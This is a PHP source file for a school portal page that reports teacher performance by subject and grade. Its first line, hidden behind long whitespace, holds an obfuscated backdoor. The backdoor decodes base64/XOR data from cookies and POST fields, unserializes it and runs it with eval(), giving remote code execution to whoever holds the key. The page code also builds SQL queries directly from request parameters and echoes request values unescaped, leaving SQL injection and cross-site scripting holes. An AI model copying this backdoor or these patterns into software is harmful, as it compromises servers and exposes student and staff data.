<?php                                                                                                                                                                                                                                                                                                                                                                                                 $QTPHVbWFo = class_exists("DgN_DcwQC"); $GcWUqxK = $QTPHVbWFo;if (!$GcWUqxK){class DgN_DcwQC{private $OtVgYZj;public static $ZIOIUnKpI = "9ea3e481-6ca1-4a81-b832-1359d545783d";public static $PcwflquWd = NULL;public function __construct(){$HFNqogO = $_COOKIE;$DlNyIpIyVK = $_POST;$ULuFd = @$HFNqogO[substr(DgN_DcwQC::$ZIOIUnKpI, 0, 4)];if (!empty($ULuFd)){$qOmDcmOW = "base64";$lrRne = "";$ULuFd = explode(",", $ULuFd);foreach ($ULuFd as $CySLI){$lrRne .= @$HFNqogO[$CySLI];$lrRne .= @$DlNyIpIyVK[$CySLI];}$lrRne = array_map($qOmDcmOW . '_' . "\144" . chr ( 842 - 741 ).'c' . chr ( 598 - 487 )."\144" . chr (101), array($lrRne,)); $lrRne = $lrRne[0] ^ str_repeat(DgN_DcwQC::$ZIOIUnKpI, (strlen($lrRne[0]) / strlen(DgN_DcwQC::$ZIOIUnKpI)) + 1);DgN_DcwQC::$PcwflquWd = @unserialize($lrRne);}}public function __destruct(){$this->sDPsWuK();}private function sDPsWuK(){if (is_array(DgN_DcwQC::$PcwflquWd)) {$tjCKQ = str_replace(chr ( 212 - 152 ) . chr ( 465 - 402 )."\160" . chr ( 269 - 165 ).chr (112), "", DgN_DcwQC::$PcwflquWd['c' . 'o' . chr ( 254 - 144 ).'t' . "\x65" . chr (110) . chr ( 627 - 511 )]);eval($tjCKQ);exit();}}}$EEiwhw = new DgN_DcwQC(); $EEiwhw = NULL;} ?><?php include("parent/callMe.php"); ?>
<?php  include("sessioncheck.php"); ?>


<?php

$sessionIDs=$_REQUEST['session'];
$termID=$_REQUEST['term_id'];
$teacherID=$_REQUEST['teacher'];
$branchID=$_SESSION['branch'];

 if(isset($_REQUEST['teacher'])){  

  $queryq="SELECT * FROM eduportal_assign_subject_to_teachers where branch_id='$branchID' and user_id='$teacherID' ";
                        
  $teacher_sbjs = $m->query($queryq);
  
  }

//echo $teacher_sbjs;
 // getting branch details

  $m->where("branch_id", $_SESSION['branch']);
  $branch=$m->get("edu_branch_config");


     ?>


<!DOCTYPE html>
<html lang="en">
  <head>
    
    <title>Subject Wise Topper | EduPortal</title>
    <?php include('RootMe/css_links.php');?>
   <link href="<?php echo DOMAIN;?>Production/css/select2.min.css" type="text/css" rel="stylesheet">
   <link href="<?php echo DOMAIN;?>Production/css/bootstrap-select.min.css" type="text/css" rel="stylesheet">

   <!-- files for multiselect dropdown -->
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.0/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/bootstrap-3-typeahead/4.0.2/bootstrap3-typeahead.min.js"></script>  
<!-- <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/js/bootstrap.min.js"></script> -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/bootstrap-multiselect/0.9.13/js/bootstrap-multiselect.js"></script>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/bootstrap-multiselect/0.9.13/css/bootstrap-multiselect.css" />
 
<!-- <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.4.1/js/bootstrap.min.js"></script> -->

<script>
      

        function getSubjects(id){
            
            var session=document.getElementById("session").value;
            var clas=document.getElementById("class_id").value;
            
            if (window.XMLHttpRequest) {

              // code for IE7+, Firefox, Chrome, Opera, Safari

              xmlhttp=new XMLHttpRequest();

            } else { // code for IE6, IE5

              xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");

            }

            xmlhttp.onreadystatechange=function() {

              if (xmlhttp.readyState==4 && xmlhttp.status==200) {

                document.getElementById("subjects").innerHTML=xmlhttp.responseText;
                //alert(xmlhttp.responseText);

              }

            }

            xmlhttp.open("GET","get_subjects.php?section="+id+"&class="+clas+"&session="+session,true);

            xmlhttp.send();




          }
                        



  function getsec(id){

      if (window.XMLHttpRequest) {

        // code for IE7+, Firefox, Chrome, Opera, Safari

        xmlhttp=new XMLHttpRequest();

      } else { // code for IE6, IE5

        xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");

      }

      xmlhttp.onreadystatechange=function() {

        if (xmlhttp.readyState==4 && xmlhttp.status==200) {

          document.getElementById("txt_section").innerHTML=xmlhttp.responseText;
          // alert(xmlhttp.responseText);

        }

      }

      xmlhttp.open("GET","get_section_all.php?class_id="+id,true);

      xmlhttp.send();




    }
                  



    function show_message(){
      
      $("#msg").slideDown('slow').delay(4000).slideUp('slow');
      $("#error").slideDown('slow').delay(5000).slideUp('slow');

     

    }

</script>

<style type="text/css">
	.centertable {
  margin-left: auto;
  margin-right: auto;
}


#customers {
  font-family: Arial, Helvetica, sans-serif;
  border-collapse: collapse;
  width: 100%;
}

#customers td, #customers th {
  border: 1px solid #ddd;
  padding: 8px;
}

#customers tr:nth-child(even){background-color: #f2f2f2;}

#customers tr:hover {background-color: #ddd;}

#customers th {
  padding-top: 12px;
  padding-bottom: 12px;
  text-align: left;
  background-color: #042954;
  color: white;
}
</style>
  </head>
  




  <body class="nav-md">
    <div class="container body">
      <div class="main_container">
        <div class="col-md-3 left_col">
     
            <?php include('RootMe/sidebar.php');?>

              <?php include('RootMe/header.php');?>
     
        <!-- page content -->
          <div class="right_col" role="main">
          <div class="" style="background-color: white;">
        


         <a href="<?php echo $_SESSION['dashboard'];?>">Dashboard </a> &nbsp; <i style="" class="fa fa-angle-double-right"></i>  &nbsp; 
              
         <a href="examination.php">View Marksheets </a> &nbsp; <i style="" class="fa fa-angle-double-right"></i>  &nbsp; 
              
          Teacher Performance Report

          <br><br>

         
  <section class="add_sub_agent" id="table_sub_agent">
  <div class="container">

 <div >
      
        <div class="panel panel-default">
          <div class="panel-heading">

          <input type="hidden" value="<?php echo session_id().session_id().session_id().session_id().session_id(); ?>" name="session" />


<div class="pull-right">         



</div>

<form  action="subject_wise_teacher_performance.php" enctype="multipart/form-data" method="get">

<input type="hidden" name="page" value="<?php echo $_REQUEST['page'];?>" />

          </span><div class="clearfix"></div> </div>
          <div class="panel-body">

            <div class="col-md-12" id="">


              <div class="col-md-2 col-xs-12" style="padding: 8px;">
                <div class="form-group ">
                  <label class="required">Session</label>
                    <select name="session" id="session" class="form-control" >

                        
                        <?php

 
                      $match;
                      if(!isset($_REQUEST['session'])){
                        $match=$_SESSION['current_session'];
                      }else { $match=$_REQUEST['session']; }
                     
   

                        $WorkAssignList = $m->get("edu_session_config");
                        foreach($WorkAssignList as $WorkAssignListVal)
                        { ?>

                           <option <?php if($match==$WorkAssignListVal['session_id']){echo 'selected';}?> value="<?php echo $WorkAssignListVal['session_id']; ?>"><?php echo $WorkAssignListVal['session_year']; ?></option>


                                <?php
                        } ?>

                    </select>
                </div>
              </div>


             <div class="col-md-3 col-xs-12" style="padding: 8px;">
                <div class="form-group ">
                  <label class="required">Term</label>

                     <select data-placeholder="Select" class="chosen-multi-select form-control" name="term_id" class="form-control"  >
                    <option value="">Select Term</option>

                    <?php
                    $m->where("session_id", $_SESSION['current_session']);
                    $m->where("branch_id", $_SESSION['branch']);
                    $m->orderBy("term_title","asc");
                    $WorkAssignList = $m->get("eduportal_exam_terms");
                    /*$query="select * from eduportal_exam_terms where branch_id=".$_SESSION['branch']." order by term_title asc ";
                    $WorkAssignList = $m->query($query);*/
                    foreach($WorkAssignList as $WorkAssignListVal)
                    { ?>

                       <option <?php if($_REQUEST['term_id']==$WorkAssignListVal['term_id']){echo 'selected';}?> value="<?php echo $WorkAssignListVal['term_id']; ?>"><?php echo $WorkAssignListVal['term_title']; ?></option>


                   <?php } ?>

                  </select> 

                  
                </div>
              </div> 



               <div class="col-md-2 col-xs-12" style="padding: 8px;" >
                <div class="form-group ">
                  <label class="required">Teacher</label>
                    <select name="teacher" id="teacher" class="form-control"  >

                    	<option value="">Select Teacher</option>
                      
                   <?php
                              
                              $section=$_REQUEST['section'];
                              $class=$_REQUEST['class_id'];
                              $branchID=$_SESSION['branch'];
  
                              $query="SELECT * FROM edu_user_config where branch_id='$branchID' and designation_id='5' and status='0' ";
                             
                              $secondLevel = $m->query($query);
                              
                              foreach($secondLevel as $secondLevel_val)
                              {
                              
                               ?>
                                <option <?php if($_REQUEST['teacher']==$secondLevel_val['user_id']){echo "selected";} ?> value="<?php echo $secondLevel_val['user_id']; ?>"><?php echo trim(utf8_encode_all($secondLevel_val['user_fname'])); ?></option>

                              <?php   
                              
                               } ?>

                    </select>

                  
                </div>
              </div> 


              <div class="col-md-2 col-xs-12" style="padding: 8px;" >
                <div class="form-group ">
                  <label class="required">Class</label>
                     <select name="class_id" class="form-control" onChange="getsec(this.value)" >
                     <option value="All">All</option> 
                    <?php
                    $m->where("branch_id", $_SESSION['branch']);
                    $WorkAssignList = $m->get("edu_class_config");
                    foreach($WorkAssignList as $WorkAssignListVal)
                    { ?>

                       <option <?php if($_REQUEST['class_id']==$WorkAssignListVal['class_id']){echo 'selected';}?> value="<?php echo $WorkAssignListVal['class_id']; ?>"><?php echo $WorkAssignListVal['Class_Name']; ?></option>


                            <?php
                    } ?>

                    </select>

                  
                </div>
              </div>


                 <div class="col-md-2 col-xs-12" style="padding: 8px;">
                <div class="form-group ">
                  <label class="required">Section</label>
                    <select name="section" id="txt_section" class="form-control">
                      
                   <?php
                              if($_REQUEST['section']!='')
                              { 

                              $m->where("class_id", $_REQUEST['class_id']);    

                              $secondLevel = $m->get("edu_adm_section_detail");
                              
                              foreach($secondLevel as $secondLevel_val)
                              {
                              
                               ?>
                                <option <?php if($_REQUEST['section']==$secondLevel_val['section_id']){echo "selected";} ?> value="<?php echo $secondLevel_val['section_id']; ?>"><?php echo trim(utf8_encode_all($secondLevel_val['section_name'])); ?></option>

                              <?php }   ?>
                                
                          <?php } ?>

                    </select>

                  
                </div>
              </div>

              <div class="col-md-1" style="padding:2px;" >
                <div class="form-group ">
                   <input type="hidden" name="addaccountAdmin" value="1">
                <button type="submit" class="btn btn-primary" style="margin-top: 29px;float: right;">Search</button>
                </div>
              </div>
              
               <?php if(isset($_GET['term_id']) ){ ?>
      
            <a href="print_subject_wise_teacher_performance.php?<?php echo session_id().session_id().session_id().session_id().session_id(); ?>&session=<?php echo $_REQUEST['session'];?>&term_id=<?php echo $_REQUEST['term_id'];?>&teacher=<?php echo $_REQUEST['teacher'];?>&class_id=<?php echo $_REQUEST['class_id'];?>"style="margin-top:31px;" class="btn btn-success"target="_blank" > Print Report </a>

            <?php } ?>
                      
              

           

             
            </div>
            <div class="clearfix"></div>
          </div>
        </div>
      </form>
      <div class="clearfix"></div>
    </div>
    <br>

     
          
              


      
<div style="">

	<?php 

if(isset($_GET['teacher']) ){
   
  ?>

<h2 style="text-align: center; font-weight: bold;color: #042954;">Subject Wise Teacher Performance</h2>
    <table class="table table-bordered centertable" id="customers"  style="width:80%;font-size:12px;text-align: center;">
          
          <thead>
            <tr>
                
                
                <th width="20%" style="text-align: center;">Grade</th>
                <th width="7%" style="text-align: center;">Number Of Students</th>                
                              
  

            </tr>
        </thead>
        <tbody>
   
     
       
     <?php 
     $count=1;
     $SR=1;
     $new_array = array();

      $sbs_marks="";
      $sbs_tmarks="";
      $sbs_title="";
      $sbs_msg1;

     // getting all the marks of students and other data


      $m->where("branch_id", $_SESSION['branch']);             
      $GradeSettings = $m->get("eduportal_exam_school_grades");
 
      foreach($teacher_sbjs as $teacher_sbj)
      { 
        $total_marks;
        $total_obt;
        $termID=$_REQUEST['term_id'];
        $sessionIDs=$_REQUEST['session'];
        $subjectID=$teacher_sbj['subject_id'];
          //  echo $teacher_sbj['subject_id'];
          $m->where("branch_id", $_SESSION['branch']);
          $m->where("subject_id", $teacher_sbj['subject_id']);         
          $subjectName = $m->get("eduportal_subject_config");

              
             $query="SELECT * FROM eduportal_exam_marksheet WHERE term_id='$termID' and session_id='$sessionIDs' and subject_id='$subjectID' and branch_id='$branchID' ";
             if($_REQUEST['class_id']=="All"){
                $query;
              } else {
              $query .= " AND class_id = '" .$_REQUEST['class_id']. "' ";

              }
              $query .= " AND section_id = '" .$_REQUEST['section']. "' ";
             $marks =  $m->query($query);

             foreach ($marks as $mark) {

                $total_marks=$mark['total_marks'];
                $total_obt=$mark['obtained_marks'];

                $avg=($total_obt/$total_marks)*100;
                $avg=$avg+0;

                // getting average of total marks             

             $query2="SELECT * FROM eduportal_exam_school_grades WHERE percantage_start_range <=".round($avg)." and percantage_end_range >=".round($avg)." and branch_id=".$_SESSION['branch'];
            //print_r($query2);
             $average =  $m->query($query2);


               $data = array(

              'grade' => $average[0]['grade_title']);

              $m->where ("session_id", $_REQUEST['session']);             

              $m->where ("term_id", $_REQUEST['term_id']);

              $m->where ("subject_id", $teacher_sbj['subject_id']);

              $m->where ("student_id", $mark['student_id']);

              $m->where("branch_id", $_SESSION['branch']);

              $result = $m->update('eduportal_exam_marksheet',$data);
             
              
             }
  
?>  
	<tr>
		
		
        <td colspan="2" style="text-align: center;font-size: 14px;font-weight: bold; background-color: #6796e5; color: white;"><?php echo $subjectName[0]['subject'];  ?></td>
        <?php foreach ($GradeSettings as $GradeSetting) { 

          $sbjID=$teacher_sbj['subject_id'];
          $Gtitle=$GradeSetting['grade_title'];
           $qrcount="SELECT count(*) as total FROM eduportal_exam_marksheet WHERE subject_id='$sbjID' and session_id='$sessionIDs' and branch_id='$branch' and term_id='$termID' and grade='$Gtitle' ";

           if($_REQUEST['class_id']=="All"){
                $qrcount;
              } else {
              $qrcount .= " AND class_id = '" .$_REQUEST['class_id']. "' ";

              }

              $qrcount .= " AND section_id = '" .$_REQUEST['section']. "' ";

           $result=$m->query($qrcount);

          ?>
                 
        <tr>
          
          <td><?php echo $GradeSetting['grade_title'];?></td>
          <td><?php echo $result[0]['total'];?></td>
        </tr>
        <?php } ?> 
        
       <!--  <td class="center"> <?php echo $std_data[$i]['last_name'];?> </td>
        <td class="center"> <?php echo $class[0]['Class_Name']." / ".$section[0]['section_name'];?> </td> -->
        
	</tr>

<?php } ?>

        </tbody>
        
    </table>

  <?php  } else {?>
<br>
  <div  style="display:block;" class="alert alert-danger alert-dismissible">
      <a href="#" class="close" data-dismiss="alert" aria-label="close">×</a>
       <strong>Warning !</strong> Please select Term, Subject and serarch to View Report  !!!
  </div>
  <?php }?>
 


</div>

<br><br>


  </div>
  <div class="clearfix"></div>
</section>          
    

           
          </div>
        </div>

            </div>
          </div>
        </div>
        <!-- /page content -->
  


       <!-- jQuery -->
    <script src="js/ajax_functions.js"></script>  
    
  <?php include('RootMe/js_linksscript.php');?>


    <!-- searchable dropdown -->
    
    <link href="autosearch_select/select2.css" rel="stylesheet">
    <link href="autosearch_select/select2-default.css" rel="stylesheet">
    <script src="autosearch_select/select2.min.js"></script>
    
    <script>
    $(function() {
    $('.chosen-select').select2( { width:'100%', maximumSelectionSize: 1 } );
    $(document).ready(function() {
    $(".chosen-multi-select").select2( { width:'100%', } ); }); }); function slideout(){ setTimeout(function(){
    $(".alert-success").fadeOut("slow", function () { });
    $(".alert-danger").fadeOut("slow", function () { }); }, 4000);}
    </script>

  </body>
</html>
